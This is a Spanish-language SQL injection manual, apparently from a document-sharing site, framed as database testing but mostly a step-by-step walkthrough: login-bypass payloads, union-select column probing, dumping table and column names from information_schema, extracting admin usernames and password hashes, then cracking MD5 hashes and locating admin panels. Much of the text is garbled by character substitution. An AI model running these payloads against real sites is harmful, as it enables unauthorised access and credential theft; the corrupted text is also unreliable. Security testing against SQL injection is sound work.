You are on page 1of 9

SQL-Injection : Pruebas de Anlisis sobre el cdigo fuente

ABSTRACCI!
Las pruebas para analizar el cdigo fuente de las bases de datos de una aplicacin permiten
determinar la vulnerabilidad en las consultas Sql establecidas por los desarrolladores. Un ataque
de inyeccin SQL consiste en la insercin o "inyeccin" de una consulta SQL a travs de los datos
de entrada del cliente a la aplicacin. Una exitosa aza!a de inyeccin SQL puede leer los datos
sensibles de la base de datos" modificar datos de base de datos #insertar $ actualizar $ eliminar%"
e&ecutar operaciones de administracin de la base de datos # incluyendo apagar el '()S%
C"#" $#P$%AR
*rimero se deben identificar los escensarios de prueba donde se necesite las pruebas a bd+
,ormas de la autentificacin+ cuando la autentificacin se realiza usando un formulario
-eb" en ocasiones las credenciales del usuario est.n comprobadas contra una base de
datos que contenga todos los nombres del usuario y contrase!as #o" me&or" los ases de
las contrase!as%
)otores de la b/squeda+ las cadenas insertadas por el usuario se podr0an utilizar en una
pregunta del SQL que extrae todos los registros relevantes de una base de datos.
Sitios de comercio electrnico+ los productos y sus caracter0sticas #precio" descripcin"
disponibilidad"1% ser. muy probable que sean almacenados en una base de datos
relacional.
2l tester tiene que acer una lista de todos los campos de entrada cuyos valores podr0an ser
utilizados en la elaboracin de una consulta SQL" incluidos los campos ocultos de peticiones *3S4
y" a continuacin" prueba de ellos por separado" tratando de interferir con la consulta y generar un
error. La primera prueba por lo general consiste en a!adir una comilla simple # 5% o un punto y
coma #6% sobre el terreno sometido a la prueba. La primera se utiliza en SQL como una cadena de
terminacin y" de no ser filtrada por la aplicacin" dar0a lugar a una pregunta incorrecta. 2l
segundo se utiliza para poner fin a una instruccin SQL y" en caso de que no se filtra" tambin es
probable que genere un error.
4ambin comenta #77% y otras palabras claves del SQL como 89: y 83: puede ser utilizado para
intentar modificar la pregunta. Un muy simple pero tcnica eficaz sigue siendo a veces
simplemente insertar una secuencia donde se espera un n/mero.

Prueba estndar de la in&eccin del SQL
*rueba ; <utenticacin de usuario mediante SQLi
'escripcin+ Se ingresa en el campo url una pregunta sql para encontrar un usuario con las
credenciales definitivas" esto lo permitira autenticarse
*asos+ ;. 'esde la barra de direcciones se ingresa la url
8ttp+$$---.example.com$index.pp=username>;5?@Aor?@A5;5?@A>
?@A5;Bpass-ord>;5?@Aor?@A5;5?@A>?@A5;8
@. 'esde la barra de direcciones se ingresa la url+
8ttp+$$---.example.com$index.pp=username>;5?@Aor?@A5;5?@A>
?@A5;5%%$CBpass-ord>foo:
D. 'esde la barra de direcciones se ingresa la url+
ttp+$$---.example.com$index.pp=username>;5?@Aor?@A5;5?@A>
?@A5;5%%?@ALE)E4?@A;$CBpass-ord>foo
Fesultado
2sperado
2l sistema no debe autenticar al usuario sin saber el usuario y contrase!a.

Pruebas oculta de la in&eccin del SQL
*rueba ; Gerificacin de vulnerabilidad inicial en base de datos
'escripcin+ 2n la aplicacin se identifica las url del tipo cat>xx donde xx es un n/mero entero
y se agrega el valor de comilla simple # 5%.
*asos+ H. Edentificamos la Url de la forma
ttp+$$---.nombrepaginaprueba.com$index.pp=cat>HI
I. <gregamos una comilla al final de la url
ttp+$$---.nombrepaginaprueba.com$index.pp=cat>HI5
J. Se verifica el despliegue del mensa&e de error +
89ou ave an error in your SQL syntax6 cecK te manual tat corresponds to your
)ySQL server version for te rigt syntax to use near 555 at line ;:
Fesultado
2sperado
Lo se despliega ning/n mensa&e de validacin
L34<+
Si el resultado obtenido es el mensa&e tipo+
89ou ave an error in your SQL syntax6 cecK te manual tat corresponds to your
)ySQL server version for te rigt syntax to use near 555 at line ; 8
2sto no indica que el sitio no sea vulnerable a ataques SQLi
*rueba @+ (/squeda de la columna vulnerable mediante SQLi
'escripcin+ Si para la prueba ; se visualiza un mensa&e de error se busca entonces la columna
vulnerable" en la aplicacin se identifica las url del tipo cat>xx" aora antes de la
variable #xx% y despus del signo #>% agregaremos el signo de menos #7% y luego
MunionMselectM;" @" D+
*asos+ ;. Edentificamos la Url de la forma+
ttp+$$---.nombrepaginaprueba.com$index.pp=cat>HI
@. Se ingresa en la url de la p.gina el menos antes de la variable y despus
del signo igual #>%.
2&emplo+ 8$index.pp=cat>7HI:
D. Se agrega el union y select y empezamos a partir del numero ; o el
numero A.
2&emplo +
8$index.pp=cat>7HIMunionMselectM;77: #)uy importante poner los
dos /ltimos guiones%.
8$index.pp=cat>7HIMunionMselectM;"@"D77: #2s importante poner
la coma entre cada numero%.
H. Se continua agregando numeros asta que el sistema vuelva a desplegar
nuevamente el error+
89ou ave an error in your SQL syntax6 cecK te manual tat
corresponds to your )ySQL server version for te rigt syntax to
use near 555 at line ;:
Fesultado
2sperado
2l sistema vuelva a desplegar nuevamente el error+
89ou ave an error in your SQL syntax6 cecK te manual tat corresponds to your
)ySQL server version for te rigt syntax to use near 555 at line ;:
L34<+
NOomo sabre si el numero de la columna es vulnerable=
<l momento que veas uno o m.s n/meros en la -eb y que no aya un error quiere decir que le
emos dado a la columna vulnerable" un e&emplo real+

Lo que esta marcado en recuadro esos n/meros no son errores" y en la barra de direcciones esta
la semi7inyeccin. 2n resumen los n/meros marca que podemos concluir la inyeccin en este caso
me ir sobre el numero @ #color azul%. Pay que tener en cuenta tambin" la versin de la base de
datos si es I.C.C 7 comunity se podr.n sacar los nombres de las tablas y columnas" si de lo
contrario es inferior a la versin I" es decir versin H no se podr. extraer los nombres de las
tablas y$o columnas" se tiene que acer a ciegas y es un poco tedioso.
*ara saber la versin de la base de datos #SQL% solo agregamos al final de unionMselectM;"@"D"H"I
database#%.
*rueba D+ 2xtraccin de nombre de tablas mediante SQLi
'escripcin+ Se ingresaran los campos necesarios de SQLi para la extraccin del nombre de las
tablas de la base de datos <dministrador y Usuario # se dar.n los pasos para la
b/squeda de nombres de tablas claves" dependiendo del proyecto a probar se
debe efectuar la respectiva prueba por e&emplo + si es una aplicacin donde se
calcule la nmina" se buscar. la tabla de nmina%" para el e&emplo si la
vulnerabilidad salio en la columna dos #ver pasos%.
*asos+ ;. 'esde la barra de direcciones remplazamos el numero @ por
groupQconcat#tableQname%. 2&emplo+
8$index.pp=cat>7HIM
unionMselectM;"groupQconcat#tableQname%"D"H"IMfromMinformationQsce
ma.tables77:
4ambin es importante agregar el MfromMinformationQscema.tables77 al final"
despus ingresamos esa url y nos da como resultado todos los nombres de
las tablas que existen en la (ase de dados.
Fesultado
2sperado
2l sistema vuelva a desplegar nuevamente el error+
89ou ave an error in your SQL syntax6 cecK te manual tat corresponds to your
)ySQL server version for te rigt syntax to use near 555 at line ;:
Lota Oomo se ve en la imagen" tenemos como resultado los nombres de las tablas.
*ero ay un peque!o problema" el tama!o de la p.gina nos limita a que solo
veamos una cierta cantidad de numero de tablas #*or naturaleza%.
Sin embargo" no ay nada que nos impida" pues gracias a una funcin de SQL
podemos utilizar otra alternativa" en este caso ser. la opcin limit que nos
permitir. limitar el rango de registro" y as0 poder acceder a la tabla del
administrador o la de usuarios.
2n este caso ay que acer lo siguiente" quitamos groupQconcat#% y solo de&amos
tableQname y al final de informationQscema.tables agregamos MlimitM;";77 as0
quedar. la url+
8$index.pp=cat>7
HIMunionMselectM;"tableQname"D"H"IMfromMinformationQscema.tablesMlimitM;"
;77:
Lo cu.l nos mostrar. el nombre de la primer tabla" es decir" tendremos que buscar
la tabla en donde se encuentra la del admin o la de usuarios
*uedes seguir utilizando la misma serie de ;A en ;A para que sea m.s r.pido de
encontrar la tabla de usuarios" ya que esta en orden alfabtico de la a 7 z
*ara la b/squeda de la tabla de administrador con el proceso de la prueba D ser0a como en los
e&emplos siguientes+
Cadena SQLi Resultado
8$index.pp=cat>7
HIMunionMselectM;"tableQname"D"H"IMfromMin
formationQscema.tablesMlimitM;A";77 :
La tabla es R29QO3LU)LQUS<S2 #Lo es la que
buscamos%
8$index.pp=cat>7
HIMunionMselectM;"tableQname"D"H"IMfromMin
formationQscema.tablesMlimitMDA";77";77 :
La tabla es cotizaciones #Lo es la que
buscamos" pero estamos un poco cerca..%
8$index.pp=cat>7
HIMunionMselectM;"tableQname"D"H"IMfromMin
formationQscema.tablesMlimitMDT";77 :
Se continuar. la busqueda asta encontra la
tabla admin" administrador" usuarios" users"
usuaris" etc.. #*uede variar los nombres de las
tablas y columnas por el idioma%.
*ara continuar acia la prueba H se necesita previamente el resultado de la prueba @ y D
Una ves que tengamos el nombre de la tabla que queremos y es en este caso admin vamos a
convertirla en <SOEE les de&o la erramienta online para el conversor de String a <SOEE
ttp+$$easycalculation.com$ascii7ex.pp
admin > UV ;AA ;AU ;AI ;;A
Oomo ven" la cadena admin esta en <SOEE.
*rueba H+ 2xtraccin de columnas de tablas mediante SQLi
'escripcin+
Se modificar. la url incluyendo admin" pero convertida en <SOEE para extraer los
nombres de las columnas para la table que indiquemos en la cadena SQLi
*asos+
;. 'esde la barra de direcciones remplazamos la url nueva para el e&emplo+
8$index.pp=cat>7HIM
unionMselectM;"groupQconcat#columnQname%"D"H"IMfromMinformationQsc
ema.columnsM-ereMtableQname>car#UV ;AA ;AU ;AI ;;A%:
Fesultado
2sperado
;. Oomo resultado nos tendr. que imprimir los nombres de las columnas" por
e&emplo+ 8email" contrasena" usuario" p-d.:
Lota
3tra alternativa pero utilizando la misma opcin es utilizando el limit lo cu.l solo
nos imprimir. el rango de la columna que le indiquemos.
2&emplo+
8$index.pp=cat>7HIM
MunionMselectM;"columnQname"D"H"IMfromMinformationQscema.columnsM-ere
MtableQname>car#UV";AA";AU";AI";;A%MlimitMA";77:
*rueba I+ 2xtraccin de usuario y contrase!a de tabla admin o usuario mediante SQLi
'escripcin+ Se modificar. la url a una cadena SQLi #incluyendo admin" pero convertida en
<SOEE% para la extraccin del usuario y contrase!a de la tabla indicada. # se deben
tener previamente los nombre de la tabla" columna usuario y contrase!a.
*asos+ ;. 'esde la barra de direcciones remplazamos la url nueva por una como la
del e&emplo para extraer los datos +
8$index.pp=cat>7HIM
unionMselectM;"groupQconcat#usuario"AxDa"p-d%"D"H"IMfromMadmin77:
Fesultado
2sperado
;. Oomo resultado nos tendr. que imprimir los datos de las columnas" por
e&emplo+
+> AxDa #Pexadecimal%
usuario > Oolumna
p-d > Oolumna
admin > 4abla
Lota La contrase!a esta encriptada en )'I Pas
2s lo peor que viene en este caso al no poder ver la contrase!a real cuando esta encriptada en
)'I Pas.
*ero gracias a que existen erramientas y diccionarios para cracKear )'I las contrase!as se
pueden desencriptar.
*ero ay que tener muy en cuenta que no todos los Pas son )'I puede variar el tipo de Pas
por la seguridad del O)S" ay contrase!as encriptadas en SP<7;" )'H" (aseJH" etc.. Son muy
diferentes al )'I.
4ambin una erramienta en *P* para cracKear Pas )'I 3nline" tienen que subirlo a un ,4*.
Perramienta cracK )'I Pas online mult.
NLo encuentro el login o la administracin de la p.gina=
*or suerte tambin existen erramientas para poder encontrar el pat en la que se encuentre el
login de la administracin por e&emplo uno codeado por neutralised <dmin *anel ,inder *P*.
'L"SARI"
(B#S+ Sistema de gestin de la base de datos
SQL+ Lengua&e de consulta estructurado" es un lengua&e declarativo de acceso a base de datos
C#S+ #Sistema de Sestin de Oontenidos% no es ning/n tipo de programa literalmente" sin
embargo" es programado para que los usuarios tengan la facilidad de crear su pagina -eb
utilizando una base de datos.
SQLi+ <breviatura de SQL En&ection. <unque" SQLi es un bug bastante vie&o" existen O)S o
p.ginas -eb con esta vulnerabilidad.
)!I"!: se usa para combinar el resultado de un n/mero de comandos
S$L$CT: en un con&unto de resultados.
#(* +as,+ )'I es uno de los algoritmos de reduccin criptogr.ficos" Pas es el mapeo. Url de
consulta para diferenciar el tipo de Pas ttp+$$---.insidepro.com$ases.pp
-./a+ son dos puntos en <SOEE.
CR$(IT"S 0 R$1$R$!CIAS
4odas las referencias sobre este manual de pruebas esta disponible gracias a 3verLet
de 4e Foot Let-orK" este manual es de uso personal.
*ara consulta de Url b.sicas +
ttps+$$---.o-asp.org$index.pp$4estingQforQSQLQEn&ectionQ#3W<S*7'G7AAI%

You might also like